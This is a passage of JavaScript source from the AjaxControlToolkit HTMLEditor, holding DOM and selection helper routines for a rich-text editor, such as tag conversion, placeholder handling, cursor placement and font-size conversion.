            }
            break;
    }
};

AjaxControlToolkit.HTMLEditor.RemoveContextMenu = function() {
    var editor = this;
    var hhh=editor._contextElement.parentNode.removeChild(editor._contextElement);
    if (hhh) delete hhh;
    editor._contextElement=null;
    editor._contextTable=null;
    if (editor.__saved_range__){
        editor.__saved_range__.select();
        editor.__saved_range__=null;
    }
};

AjaxControlToolkit.HTMLEditor.contentEditable = function(el, prize) {
    while(el != null) {
        try {
            var mean  = null;
            if(el.contentEditable != null && typeof el.contentEditable != "undefined" && !(AjaxControlToolkit.HTMLEditor.isSafari || AjaxControlToolkit.HTMLEditor.isOpera)) {
                if(!el.contentEditable || el.contentEditable=="false") {
                    mean = false;
                } else {
                    mean = true;
                }
            }
            else {
                var value = el.getAttribute("contenteditable");

                if(typeof value == "boolean") {
                    mean = value;
                } else {
                    if(typeof value == "string" && value.toLowerCase()=="false") {
                        mean = false;
                    }
                }
            }

            if(mean != null && typeof mean == "boolean") {
                if(!mean) {
                    return el;
                }
            }
        } catch(ex) {}

        if(typeof prize != "undefined" && prize) {
            return null;
        }
        if(el.tagName != null && typeof el.tagName != "undefined" && (el.tagName.toUpperCase()=="BODY" || el.tagName.toUpperCase()=="HTML")) {
            break;
        }
        el = el.parentNode;
    }
    return null;
};

AjaxControlToolkit.HTMLEditor.getSelParent = function (editor) {
    var sel   = editor._getSelection();
    var range = editor._createRange(sel);
    var parent = null;

    if(AjaxControlToolkit.HTMLEditor.isIE) {
        if(sel.type.toLowerCase()=="control")
            parent =range.item(0);
        else
            parent= editor._getParent(range);
    } else {
        parent= editor._getParent(range);
        if(parent.nodeType != 3 && range.startContainer==range.endContainer) {
            var p=parent;
            parent = parent.childNodes.item(range.startOffset);
            if(parent==null) parent=p;
        }
    }
    return parent;
};

AjaxControlToolkit.HTMLEditor.__getIndex = function(el) {
    var ind =0;

    if(el.parentNode) {
        for(;ind<el.parentNode.childNodes.length;ind++) {
            if(el.parentNode.childNodes.item(ind)==el) {
                break;
            }
        }
    }
    return ind;
};

AjaxControlToolkit.HTMLEditor.isInlineElement = function(el) {
    if(el.nodeType == 3) return true;
    if(el.nodeType != 1) return false;
    if(!el.tagName || el.tagName.length == 0) return false;
    if(el && el.style && el.style.display && el.style.display.toLowerCase()=="inline") return true;

    var name = el.tagName.toUpperCase();

    if(name.length==2) {
        if(name.substr(0,1)=="H" && parseInt(name.substr(1,1)) > 0) {
            return false;
        }
    }
    switch(name) {
        case "BR"         :
        case "TBODY"      :
        case "TR"         :
        case "TD"         :
        case "P"          :
        case "PRE"        :
        case "TABLE"      :
        case "OL"         :
        case "UL"         :
        case "LI"         :
        case "HR"         :
        case "DIV"        :
        case "BLOCKQUOTE" :
        case "FORM"       :
        case "FIELDSET"   :
        case "LEGEND"     :
            return false;
        default:
            return true;   
    }
};

AjaxControlToolkit.HTMLEditor.capLock = function(e) { 
    var kc = e.charCode;
    var sk = e.shiftKey?e.shiftKey:((kc == 16)?true:false);
    if(((kc >= 65 && kc <= 90) && !sk)||((kc >= 97 && kc <= 122) && sk))
        return true;
    else
        return false;
};

AjaxControlToolkit.HTMLEditor.operateAnchors = function(editor, _doc, _prize) {
    var aList = _doc.getElementsByTagName("A");
    var ret = false;

    for(var i=0; i < aList.length; i++) {
        var a   = aList[i];

        if( a.name && a.name.length > 0) {
            var imgToDelete = [];
            
            for(var j=0; j < a.childNodes.length; j++) {
                var node = a.childNodes.item(j);
                if(node.nodeType==1 && node.tagName && node.tagName.toUpperCase()=="IMG" && node.src==editor._editPanel.get_imagePath_anchor()) {
                    imgToDelete.push(node);
                    ret = true;
                }
            }
            
            while (imgToDelete.length > 0) {
                a.removeChild(imgToDelete.pop());
            }
            
            if(!_prize) {
                var img   = _doc.createElement("IMG");
                img.title = a.name;
                img.src   = editor._editPanel.get_imagePath_anchor();
                img.setAttribute(editor.noContextMenuAttributeName(),"yes");

                a.appendChild(img);
            }
        }
    }
    return ret;
};

AjaxControlToolkit.HTMLEditor.operatePlaceHolders = function(editor, _doc, _prize) {
    var ret = false;
    if(_prize) {
        var tempCollection = _doc.getElementsByTagName("IMG");

        var aList =[];
        for(var i=0; i<tempCollection.length; i++) {
            aList.push(tempCollection[i]); 
        }

        for(var i=0; i < aList.length; i++)
        {
            var a   = aList[i];
            var dum = a.getAttribute("dummytag");

            if(dum && dum.length > 0 && dum.toLowerCase()=="placeholder") {
                var ph   = _doc.createElement("PLACEHOLDER");
                var title = a.title;

                if(title==null || typeof title=="undefined") {
                    title = a.getAttribute("title");
                }

                ph.name  = title;
                ph.setAttribute("name",title);

                a.parentNode.insertBefore(ph,a);
                a.parentNode.removeChild (a);
                ret = true;
            }
        }
    } else {
        var tempCollection = _doc.getElementsByTagName("PLACEHOLDER");

        var aList =[];
        for(var i=0; i<tempCollection.length; i++) {
            aList.push(tempCollection[i]);
        }
        for(var i=0; i < aList.length; i++) {
            var a   = aList[i];
            var nd  = true;

            try {
                if(a.childNodes.length > 0) {
                    nd = false;
                }
            } catch(ex) {}

            if(nd) {
                var name = a.name;

                if(name==null || typeof name=="undefined") {
                    name = a.getAttribute("name");
                }

                var img   = _doc.createElement("IMG");
                img.title = name;
                img.src   = editor._editPanel.get_imagePath_placeHolder();

                img.setAttribute("dummytag","placeholder");
                img.setAttribute("title",name);

                a.parentNode.insertBefore(img,a);
                a.parentNode.removeChild (a);
            }
        }
    }
    return ret;
};

AjaxControlToolkit.HTMLEditor.inspectForShadows = function(el) {
    var aList = el.getElementsByTagName("IMG");

    for(var i=0; i < aList.length; i++)
    {
        if(aList[i].getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute) && aList[i].getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute).length > 0) {
            try {
                if(AjaxControlToolkit.HTMLEditor.isIE) {
                    $removeHandler(aList[i],"dragstart", AjaxControlToolkit.HTMLEditor.stopDrag);
                } else {
                    $removeHandler(aList[i],"draggesture", AjaxControlToolkit.HTMLEditor.stopDrag);
                }
            } catch(e) {}

            if(AjaxControlToolkit.HTMLEditor.isIE) {
                $addHandler(aList[i],"dragstart", AjaxControlToolkit.HTMLEditor.stopDrag);
            } else {
                $addHandler(aList[i],"draggesture", AjaxControlToolkit.HTMLEditor.stopDrag);
            }
        }
    }
};

AjaxControlToolkit.HTMLEditor.attachedIdAttribute= "obout-attached-id";

AjaxControlToolkit.HTMLEditor.stopDrag = function(ev)
{
  if(ev) ev.stopPropagation();ev.preventDefault();
  return false;
};

AjaxControlToolkit.HTMLEditor.replacingRules =
[
[ "strong"  ,"font-weight"     , "bold"         ],
[ "b"       ,"font-weight"     , "bold"         ],
[ "strong"  ,"font-weight"     , "700"          ],
[ "em"      ,"font-style"      , "italic"       ],
[ "i"       ,"font-style"      , "italic"       ],
[ "u"       ,"text-decoration" , "underline"    ],
[ "strike"  ,"text-decoration" , "line-through" ]
];

AjaxControlToolkit.HTMLEditor.replaceOldTags = function(root,editor) {
    var innerHTML = root.innerHTML;
    var need = false;

    for(var j=0; j < AjaxControlToolkit.HTMLEditor.replacingRules.length; j++) {
        var reg = new RegExp("<"+AjaxControlToolkit.HTMLEditor.replacingRules[j][0]+"[\s>]", "ig");
        if(reg.test(innerHTML)) {
            need = true;
            break;
        }
    }
    
    if(!need) {
        if(!(/<font[\s>]/ig.test(innerHTML))) {
            return;
        }
    }

    for(var i=0; i<root.childNodes.length; i++) {
        var child = root.childNodes.item(i);
        if(child.nodeType == 1) {
            var found = null;
            var childTagName = child.tagName.toLowerCase();
            for(var j=0; j < AjaxControlToolkit.HTMLEditor.replacingRules.length; j++) {
                if(AjaxControlToolkit.HTMLEditor.replacingRules[j][0].toLowerCase() == childTagName) {
                    found = AjaxControlToolkit.HTMLEditor.replacingRules[j];
                    break;
                }
            }

            if(found) {
                var span = editor._doc.createElement("SPAN");

                span.style["cssText"] = child.style["cssText"];

                if(AjaxControlToolkit.HTMLEditor.isIE) {
                    span.style[found[1]] = found[2];
                } else {
                    span.style[found[1].replace(/\-(\w)/g, function (strMatch, p1){return p1.toUpperCase();})] = found[2];
                }
                while(child.firstChild) {
                    span.appendChild(child.firstChild);
                }

                root.insertBefore(span,child);
                root.removeChild(child);
                child = span;
            } else {
                if(childTagName == "font") {
                    var span = editor._doc.createElement("SPAN");
                    var save = child.size;

                    span.style["cssText"] = child.style["cssText"];

                    if(child.color) {
                        span.style.color = child.color;
                    }
                    if(child.face ) {
                        span.style.fontFamily = child.face;
                    }

                    while(child.firstChild) {
                        span.appendChild(child.firstChild);
                    }

                    root.insertBefore(span,child);
                    root.removeChild(child);

                    if(save) {
                        var font = editor._doc.createElement("FONT");
                        font.size = save;
                        root.insertBefore(font,span);

                        if(span.style["cssText"].length > 0) {
                            font.appendChild(span);
                            child = span;
                        } else {
                            while(span.firstChild) {
                                font.appendChild(span.firstChild);
                            }
                            root.removeChild(span);
                            child = font;
                        }
                    } else {
                        child = span;
                    }
                }
            }
            AjaxControlToolkit.HTMLEditor.replaceOldTags(child,editor);
        }
    }
};

AjaxControlToolkit.HTMLEditor.getStyle = function(oElm, strCssRule) {
    var strValue = "";
    if(oElm.nodeType==1) {
        if(oElm.ownerDocument && oElm.ownerDocument.defaultView && oElm.ownerDocument.defaultView.getComputedStyle) {
            strValue = oElm.ownerDocument.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
        }
        else if(oElm.currentStyle) {
            try {
                strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){return p1.toUpperCase();});
                strValue = oElm.currentStyle[strCssRule];
            } catch(ex) {
                strValue = oElm.style[strCssRule];
            }
        } else {
            strValue = oElm.style[strCssRule];
        }
    }
    return strValue;
};

AjaxControlToolkit.HTMLEditor._Marker = function(editor,rng,sel) {
    if(AjaxControlToolkit.HTMLEditor.isIE) {
        this._nArr  = AjaxControlToolkit.HTMLEditor.getNames(editor._doc.body);
        this._save = editor._doc.body.innerHTML;
        this._tree = null;

        if(sel.type.toLowerCase()=="control") {
            try {
                var el = rng.item(0);
                this._tree  =[];

                while(el && (el.nodeType==3 || !el.tagName || el.tagName.toUpperCase() != "BODY")) {
                    var n=0;
                    while(el.previousSibling) {
                        n++;
                        el = el.previousSibling;
                    }
                    this._tree.push(n);
                    el = el.parentNode;
                }
            } catch(e){}
        } else {
            this._offsetLeft=rng.offsetLeft;
            this._offsetTop =rng.offsetTop;
        }
    } else {
        if(AjaxControlToolkit.HTMLEditor.isOpera) {
            this._save = AjaxControlToolkit.HTMLEditor.Trim(editor._doc.body.innerHTML);
        } else {
            this._save = editor._doc.body.cloneNode(true);
        }

        this._tree  =[];
        this._offset= 0;

        try {
            var el =rng.startContainer;
            this._offset=rng.startOffset;
            if(el && el.nodeType==1 && el.tagName.toUpperCase()=="HTML") {
                el = editor._doc.body;

                setTimeout(function(){
                    try {
                        sel = editor._getSelection();
                        rng = editor._createRange();
                        editor._removeAllRanges(sel);
                        rng.setStart(el,0);
                        rng.setEnd  (el,0);
                        editor._selectRange(sel,rng);
                    } catch(e) {}
                },0);
            }

            while(el && el.nodeType && (el.nodeType==3 || !el.tagName || el.tagName.toUpperCase() != "BODY")) {
                var n=0;
                while(el.previousSibling) {
                    n++;
                    if(AjaxControlToolkit.HTMLEditor.isOpera) {
                        if(el.nodeType == 3 && el.previousSibling != null && el.previousSibling.nodeType == 3) {
                            n--;
                        }
                    }
                    el = el.previousSibling;
                }
                this._tree.push(n);
                el = el.parentNode;
            }
        } catch(e) {}
    }
};

AjaxControlToolkit.HTMLEditor.__stackMaxSize = 30;

AjaxControlToolkit.HTMLEditor.getNames = function(el) {
    var aList = el.all;
    var mArr  = [];
    var nArr =[]

    for(var i=0; i < aList.length; i++) {
        var a   = aList[i];

        if(a.name && a.name.length > 0) {
            var tag = a.tagName;
            var coll= el.getElementsByTagName(tag);
            var n = 0;

            for(var j=0; j < coll.length; j++) {
                if(coll[j] == a) {
                    n = j;
                    break;
                }
            }

            nArr[tag] = n;

            mArr.push([tag,nArr[tag],a.name]);
        }
    }
    return mArr;
};

AjaxControlToolkit.HTMLEditor.setNames = function(el,mArr) {
    for(var i=0; i < mArr.length; i++) {
        if(el.getElementsByTagName(mArr[i][0]).length > mArr[i][1]) {
            el.getElementsByTagName(mArr[i][0])[mArr[i][1]].name = mArr[i][2];
        }
    }
};

AjaxControlToolkit.HTMLEditor._lookChild = function(root,seek) {
    for(var i=0; i<root.childNodes.length; i++) {
        var child = root.childNodes.item(i);
        if(child==seek) {
            return i;
        }
        if(child.nodeType==1) {
            if(AjaxControlToolkit.HTMLEditor._lookChild(child,seek) >= 0 ) {
                return i;
            }
        }
    }
    return -1;
};

AjaxControlToolkit.HTMLEditor.getHrefsText = function(txt) {
    var result =[]
    function regRepl(p0,p1,p2,p3,p4,p5,p6,p7) {
        var tag = p1.replace(/^<([^\s>]+)/,"$1");
        var insert =true;
        var i =0;

        for(; i < result.length; i++) {
            if(result[i][0] == tag) {
                insert = false;
                break;
            }
        }

        if(insert) {
            result[i] =[tag];
        }

        result[i].push(p5);
    };

    var reg = new RegExp("(<[^\\s><]+)([^><]*?)(href=)(\"|')([^\\4]*?)(\\4)((?:[^><]*?)>)","ig");
    txt.replace(reg,regRepl);
    return result;
};

AjaxControlToolkit.HTMLEditor.setHrefsText = function(el, mArr) {
    for (var j = 0; j < mArr.length; j++) {
        var aList = el.getElementsByTagName(mArr[j][0]);
        var k = 1;

        for (var i = 0; i < aList.length; i++) {
            if (!aList[i].href) {
                continue;
            }
            if (mArr[j][k] && mArr[j][k].length > 0) {
                var trickIE;
                if (AjaxControlToolkit.HTMLEditor.isIE) {
                    trickIE = aList[i].innerHTML;
                }
                aList[i].href = mArr[j][k].replace(/&amp;/ig, "&");
                if (AjaxControlToolkit.HTMLEditor.isIE) {
                    aList[i].innerHTML = trickIE;
                }
            }
            k++;
        }
    }
};

AjaxControlToolkit.HTMLEditor.getImagesText = function(txt) {
    var mArr  = [];

    function regRepl(p0,p1,p2,p3,p4,p5) {
        mArr.push(p3);
        return p0;
    }

    txt.replace(/(<img(?:.*?))(src=")(.*?)(")((?:.*?)>)/ig,regRepl);
    return mArr;
};

AjaxControlToolkit.HTMLEditor.setImagesText = function(el,mArr) {
    var aList = el.getElementsByTagName("IMG");
    var k=0;

    for(var i=0; i < aList.length; i++) {
        if(!aList[i].src) {
            continue;
        }
        if(mArr[k] && mArr[k].length > 0) {
            aList[i].src = mArr[k].replace(/&amp;/ig,"&");
        }
        k++;
    }
};

AjaxControlToolkit.HTMLEditor.canHaveChildren = function(elem) {
    if(AjaxControlToolkit.HTMLEditor.isIE) {
        return elem.canHaveChildren;
    } else {
        return !/^(area|base|basefont|col|frame|hr|img|br|input|isindex|link|meta|param)$/.test(elem.tagName.toLowerCase());
    }
};

AjaxControlToolkit.HTMLEditor._setCursor = function(el1,editor) {
    var el = el1;
    if(AjaxControlToolkit.HTMLEditor.isIE) {
        var sel = editor._getSelection();
        var range=editor._createRange(sel);
        
        if(sel.type.toLowerCase() == "control") {
             range.remove(0);
             sel.empty();
             range = editor._createRange();
        }
        
        var isText = (el.nodeType==3);
        var span;

        if(isText)
        {
            span = editor._doc.createElement("SPAN");
            span.innerHTML = "&nbsp;";
            el.parentNode.insertBefore(span,el);
            el = span;
        }

        var location = $common.getLocation(el);
        var _left = location.x, _top = location.y;

        if(isText) {
            span.parentNode.removeChild(span);
        }

        try {
            range.moveToPoint(_left,_top);
        } catch(e) {}
        range.select();
    } else {
        var sel = editor._getSelection();
        var range=editor._createRange();

        range.setStart(el, 0);
        range.setEnd(el, 0);

        editor._removeAllRanges(sel);
        editor._selectRange(sel,range);
        editor.focusEditor();
    }
};

AjaxControlToolkit.HTMLEditor.myClone = function(el,doc,prize) {
    var ela;

    if(AjaxControlToolkit.HTMLEditor.isIE && el.tagName && (el.tagName.toUpperCase()=="EMBED" || el.tagName.toUpperCase()=="OBJECT")) {
        var div = doc.createElement("DIV");

        try {   
            div.innerHTML = el.outerHTML;
            ela = div.firstChild;
        } catch(e) {
            ela = el;
        }

        delete div;
    } else {
        ela = el.cloneNode(prize);
    }

    return ela;
};

AjaxControlToolkit.HTMLEditor.unStyle = function(el) {
    var _prn = (el.parentNode != null && typeof el.parentNode != "undefined")?el.parentNode:null;

    if(_prn) {
        var _fnd = null;

        while ( _prn && _prn.tagName && _prn.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(_prn.tagName) &&
               (_prn.tagName.toUpperCase() != "A")) {
            _fnd = _prn;
            _prn = _prn.parentNode;
        }

        if(_fnd) {
            function diver(add,el, rpr, before, prize) {
                var par=rpr.cloneNode(false);

                if(add) {
                    if(add.push && typeof add.push == "function") {
                        for(var iii=0; iii < add.length; iii++) {
                            par.appendChild(add[iii]);
                        }
                    } else {
                        par.appendChild(add);
                    }
                }

                if(prize) {
                    par.appendChild(el);
                } else {
                    while(el) {
                        var elSibling=before?el.previousSibling:el.nextSibling;
                        if(el.nodeType==1 || (el.nodeType==3 && AjaxControlToolkit.HTMLEditor.Trim(""+el.data+"").length>0)) {
                            if(el.nodeType==1) {
                                if(el.tagName && AjaxControlToolkit.HTMLEditor.isStyleTag(el.tagName) && el.childNodes.length==0 && !AjaxControlToolkit.HTMLEditor.isTempElement(el)) {
                                    el=null;
                                }
                            }
                            if(el) {
                                if(par.childNodes.length == 0 || !before) {
                                    par.appendChild(el);
                                } else {
                                    par.insertBefore(el,par.firstChild);
                                }
                            }
                        }
                        el=elSibling;
                    }
                }

                if(par.childNodes.length==0) {
                    delete par;
                    par=null;
                }
                else if(par.childNodes.length==1 && par.firstChild.nodeType==3 && (""+par.firstChild.data+"").length==0) {
                    delete par;
                    par=null;
                }  else  {
                    if(!prize && par.tagName && AjaxControlToolkit.HTMLEditor.isStyleTag(par.tagName) && (par.tagName.toUpperCase() != "A") && !AjaxControlToolkit.HTMLEditor.isTempElement(par)) {
                        var elNumber = par.childNodes.length;
                        for(var cnt=0; cnt< par.childNodes.length; cnt++) {
                            var inn = par.childNodes.item(cnt);
                            if(inn.nodeType==1 && inn.tagName && !AjaxControlToolkit.HTMLEditor.isStyleTag(inn.tagName) &&
                               (inn.tagName.toUpperCase()=="BR" || inn.tagName.toUpperCase()=="TABLE" ||
                               AjaxControlToolkit.HTMLEditor.isTempElement(inn))) {
                                elNumber--;
                            }
                        }

                        if(elNumber == 0) {
                            var parr = [];
                            while(par.firstChild) {
                                var inn = par.removeChild(par.firstChild);
                                parr.push(inn);
                            }
                            par = parr;
                        }
                    }
                }

                if(rpr==_fnd) {
                    return par;
                } else {
                    if(!prize) {
                        return diver(par,before?rpr.previousSibling:rpr.nextSibling,rpr.parentNode,before,prize);
                    } else {
                        return diver(null,par,rpr.parentNode,before,prize);
                    }
                }
            };

            _prn = el.parentNode;

            if( el.previousSibling == null && el.nextSibling == null &&
                _prn && _prn.tagName && _prn.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(_prn.tagName) &&
                AjaxControlToolkit.HTMLEditor.differAttr(_prn,["class","color","face","size"]).length > 0) {
                el = _prn;
            }

            var p1 = diver(null,el.previousSibling,el.parentNode,true , false);
            var p2 = diver(null,el.nextSibling    ,el.parentNode,false, false);

            var par    = _fnd.parentNode;
            if(p1) {
                if(p1.push && typeof p1.push == "function") {
                    for(var iii=0; iii < p1.length; iii++) {
                        par.insertBefore(p1[iii],_fnd);
                    }
                } else {
                    par.insertBefore(p1,_fnd);
                }
            }

            if(el.nodeType==1 && el.tagName &&
               (el.tagName.toUpperCase()=="BR" || el.tagName.toUpperCase()=="TABLE" ||
               AjaxControlToolkit.HTMLEditor.isTempElement(el))) {
                par.insertBefore(el,_fnd);
            } else {
                var p3 = diver(null,el,el.parentNode,false, true);
                par.insertBefore(p3,_fnd);
            }

            if(p2) {
                if(p2.push && typeof p2.push == "function") {
                    for(var iii=0; iii < p2.length; iii++) {
                        par.insertBefore(p2[iii],_fnd);
                    }
                } else {
                    par.insertBefore(p2,_fnd);
                }
            }
            par.removeChild (_fnd);
        }
    }
};

AjaxControlToolkit.HTMLEditor.isTempElement = function(el) {
    if(el.id && el.id.length > 0 && el.id.indexOf(AjaxControlToolkit.HTMLEditor.smartClassName) >= 0) {
        return true;
    }
    return false;
};

AjaxControlToolkit.HTMLEditor._moveTagsUp = function(lBound,rBound) {
    function _dive(next) {
        if(!AjaxControlToolkit.HTMLEditor.isInlineElement(next) || next.nodeType == 3) {
            AjaxControlToolkit.HTMLEditor.unStyle(next);
        } else if(next.tagName && AjaxControlToolkit.HTMLEditor.isStyleTag(next.tagName) && (next.tagName.toUpperCase() != "A") && !AjaxControlToolkit.HTMLEditor.isTempElement(next)) {
            var nnn = next.firstChild;
            while(nnn != null) {
                var nnnNext = nnn.nextSibling;
                _dive(nnn);
                nnn = nnnNext;
            }
        }
    }

    var next = lBound;
    while(next != null && next != rBound) {
        var nextSibling = next.nextSibling;
        _dive(next);
        next = nextSibling;
    }
};

AjaxControlToolkit.HTMLEditor._commonTotalParent = function(first,last) {
    var ret = null;
    var par = first.parentNode;
    var fst = first;

    while (par) {
        if(par.tagName && !AjaxControlToolkit.HTMLEditor.isStyleTag(par.tagName)) {
            var indexLast = AjaxControlToolkit.HTMLEditor._lookChild(par,last);

            if(indexLast >=0 ) {
                var indexFirst = 0;

                for(var i=0; i < par.childNodes.length; i++) {
                    if(par.childNodes.item(i) == fst) {
                        indexFirst = i;
                        break;
                    }
                }

                return {parent: par, indexFirst: indexFirst, indexLast: indexLast};
            }
        }

        fst = par;
        par = par.parentNode;
    }

    return ret;
};

AjaxControlToolkit.HTMLEditor._commonParent = function(first,last) {
    var ret = null;
    var par = first.parentNode;
    var fst = first;

    while (par && par.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(par.tagName)) {
        var indexLast = AjaxControlToolkit.HTMLEditor._lookChild(par,last);

        if(indexLast >=0 ) {
            var indexFirst = 0;

            for(var i=0; i < par.childNodes.length; i++) {
                if(par.childNodes.item(i) == fst) {
                    indexFirst = i;
                    break;
                }
            }

            return {parent: par, indexFirst: indexFirst, indexLast: indexLast};
        }

        fst = par;
        par = par.parentNode;
    }

    return ret;
};

AjaxControlToolkit.HTMLEditor.positionInParagraph = function(marker,el,left,par,wordBound) {
    while(true){
        var result = AjaxControlToolkit.HTMLEditor.positionInParagraphLevel(marker,el,left,wordBound);
        if(result != null) {
            return result;
        }
        if(par.tagName && AjaxControlToolkit.HTMLEditor.isStyleTag(par.tagName) && (par.tagName.toUpperCase() != "A") && !AjaxControlToolkit.HTMLEditor.isTempElement(par)) {
            el  = left?par.previousSibling:par.nextSibling;
            par = par.parentNode;
        } else {
            if(!left || par.firstChild == null) {
                par.appendChild(marker);
            } else {
                par.insertBefore(marker,par.firstChild);
            }
            return marker;
        }
    }
};

AjaxControlToolkit.HTMLEditor.positionInParagraphLevel = function(marker,el,left,wordBound) {
    while(el) {
        var elSibling = left?el.previousSibling:el.nextSibling;

        if(!AjaxControlToolkit.HTMLEditor.isInlineElement(el)) {
            var par = el.parentNode;

            if(!left) {
                par.insertBefore(marker,el);
            } else{
                if(el.nextSibling) {
                    par.insertBefore(marker,el.nextSibling);
                } else {
                    par.appendChild (marker);
                }
            }
            return marker;
        }
        else if(typeof wordBound == "function" && el.nodeType==3) {
            var j;
            var str = ""+el.data+"";
            if(left) {
                for(j=str.length-1; j >= 0; j--) {
                    if(wordBound(str.substr(j,1))) {
                        break;
                    }
                }
            } else {
                for(j=0; j < str.length; j++) {
                    if(wordBound(str.substr(j,1))) {
                        break;
                    }
                }
            }

            if(j >= 0 && j < str.length) {
                var par = el.parentNode;
                var newNode;

                if((j > 0 || (left && j==0)) && (j < str.length-1 || (!left && j==str.length-1))) {
                    if(left) {
                        newNode = el.splitText(j+1);
                    } else {
                        newNode = el.splitText(j);
                    }
                    par.insertBefore(marker,newNode);
                } else {
                    if(!left) {
                        par.insertBefore(marker,el);
                    } else {
                        if(el.nextSibling) {
                            par.insertBefore(marker,el.nextSibling);
                        } else {
                            par.appendChild (marker);
                        }
                    }
                }
                return marker;
            }
        }

        el = left?el.lastChild:el.firstChild;

        if(el) {
            var result = AjaxControlToolkit.HTMLEditor.positionInParagraphLevel(marker,el,left,wordBound);
            if(result != null) {
                return result;
            }
        }
        el=elSibling;
    }

    return null;
};

AjaxControlToolkit.HTMLEditor._addEvent = function(el, evname, func){
    if(el.attachEvent)
        el.attachEvent("on" + evname, func);
    else if(el.addEventListener)
        el.addEventListener(evname, func, true);
};

AjaxControlToolkit.HTMLEditor._addEvents = function(el, evs, func) {
    for(var i=0; i < evs.length; i++)
        AjaxControlToolkit.HTMLEditor._addEvent(el, evs[i], func);
};

AjaxControlToolkit.HTMLEditor._removeEvent = function(el, evname, func) {
    if(el.detachEvent)
        el.detachEvent("on" + evname, func);
    else if(el.removeEventListener)
        el.removeEventListener(evname, func, true);
};

AjaxControlToolkit.HTMLEditor._removeEvents = function(el, evs, func) {
    for(var i=0; i < evs.length; i++)
        AjaxControlToolkit.HTMLEditor._removeEvent(el, evs[i], func);
};

AjaxControlToolkit.HTMLEditor._stopEvent = function(ev) {
    if(ev) {
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            ev.cancelBubble = true;
            ev.returnValue = false;
        } else {
            ev.preventDefault();
            ev.stopPropagation();
        }
    }
};

AjaxControlToolkit.HTMLEditor.restrictedTags = ["DIV","P","TD","TR","TABLE","TBODY","LI","OL","UL","FORM","INPUT"];  // this list can be increased
AjaxControlToolkit.HTMLEditor.isRestricted = function(element) {
    var elementTagName = element.tagName.toUpperCase();
    for(var i=0; i < AjaxControlToolkit.HTMLEditor.restrictedTags.length; i++) {
        if (AjaxControlToolkit.HTMLEditor.restrictedTags[i].toUpperCase() == elementTagName) {
            return true;
        }
    }

    if(AjaxControlToolkit.HTMLEditor.isIE && element.scopeName.toUpperCase()!="HTML") {
        return true;
    }

    return false;
};

AjaxControlToolkit.HTMLEditor.jsDocument = function(noExtraLf) {
    this.noExtraLf = (typeof noExtraLf != "undefined" && noExtraLf);
    this.text = [];                //array to store the string
    this.write = function (str) {
        if(!this.noExtraLf || (this.text.length == 0 && str != "\n") || (this.text.length > 0 && (this.text[this.text.length-1] != "\n" || str != "\n"))) {
            this.text[this.text.length] = str;
        }
    };
    this.append = this.write;
    this.writeln = function (str) { this.text[this.text.length] = str + "\n"; }
    this.toString = function () { return this.text.join(""); }
    this.clear = function () { delete this.text; this.text = null; this.text = new Array; }
};

AjaxControlToolkit.HTMLEditor.isHeader = function(el) {
    var name = el.tagName.toUpperCase();

    if(name.length==2) {
        if(name.substr(0,1)=="H" && parseInt(name.substr(1,1)) > 0) {
            return true;
        }
    }
    return false;
};

AjaxControlToolkit.HTMLEditor._getReallyFirst = function(root) {
    if(typeof root.firstChild != "undefined" && root.firstChild != null) {
        if(typeof root.firstChild.childNodes != "undefined" && root.firstChild.childNodes != null) {
            return AjaxControlToolkit.HTMLEditor._getReallyFirst(root.firstChild)
        }
    }
    return root;
};

AjaxControlToolkit.HTMLEditor._getReallyLast = function(root) {
    if(typeof root.lastChild != "undefined" && root.lastChild != null) {
        if(typeof root.lastChild.childNodes != "undefined" && root.lastChild.childNodes != null) {
            return AjaxControlToolkit.HTMLEditor._getReallyLast(root.lastChild)
        }
    }
    return root;
};

AjaxControlToolkit.HTMLEditor._reallyFirst = function(root,seek) {
    if(root.firstChild) {
        if(root.firstChild == seek) return true;
        if(root.firstChild.childNodes)
            if(AjaxControlToolkit.HTMLEditor._lookChild(root.firstChild,seek) == 0 ) {
                return AjaxControlToolkit.HTMLEditor._reallyFirst(root.firstChild,seek)
            }
    }
    return false;
};

AjaxControlToolkit.HTMLEditor._reallyLast = function(root,seek) {
    if(root.lastChild) {
        if(root.lastChild == seek) return true;
        if(root.lastChild.childNodes)
            if(AjaxControlToolkit.HTMLEditor._lookChild(root.lastChild,seek) == root.lastChild.childNodes.length-1 ) {
                return AjaxControlToolkit.HTMLEditor._reallyLast(root.lastChild,seek)
            }
    }
    return false;
};

AjaxControlToolkit.HTMLEditor.getContainer = function(container, el) {
    if(el==container) return container;

    if(container.nodeType == 1) {
        for(var i=0; i < container.childNodes.length; i++) {
            var child = container.childNodes.item(i);
            if(el==child) return child;

            if(child.nodeType == 1) {
                var ind = AjaxControlToolkit.HTMLEditor._lookChild(child,el);
                if(ind >= 0) {
                    if(child.tagName && AjaxControlToolkit.HTMLEditor.isStyleTag(child.tagName) && (child.tagName.toUpperCase() != "A") && !AjaxControlToolkit.HTMLEditor.isTempElement(child))
                        return AjaxControlToolkit.HTMLEditor.getContainer(child, el);
                    else
                        return child;
                }
            }
        }
    }
    return null;
};

AjaxControlToolkit.HTMLEditor._TryTransformFromPxToPt = function(fontSize,editor, _id) {
    var ret = fontSize.replace(/^(\d+)\.(\d+)px/i,"$1px");

    if(!AjaxControlToolkit.HTMLEditor.isIE) {
        if(ret && ret.length > 0) {
            var seek = ret.toLowerCase().split(",")[0];

            if (typeof _id != "undefined") {
                var el   = document.getElementById(_id);

                if(el != null) {
                    var i;
                    for(i=0; i< el.options.length; i++) {
                        var cur = AjaxControlToolkit.HTMLEditor.fontSizeSeek(el.options.item(i).value.toLowerCase().split(",")[0]);

                        if(cur==seek) break;
                    }
                    if(i==el.options.length) {
                        var span = editor._doc.createElement("SPAN");
                        editor._doc.body.appendChild(span);

                        for(i=1; i< 100; i++) {
                            span.style.fontSize = i+"pt";
                            if(AjaxControlToolkit.HTMLEditor.getStyle(span,"font-size").replace(/^(\d+)\.(\d+)px/i,"$1px") == seek) {
                                seek = i+"pt";
                                break;
                            }
                        }
                        span.parentNode.removeChild(span);
                    }
                }
            }
            ret = seek;
        }
    }
    return ret;
};

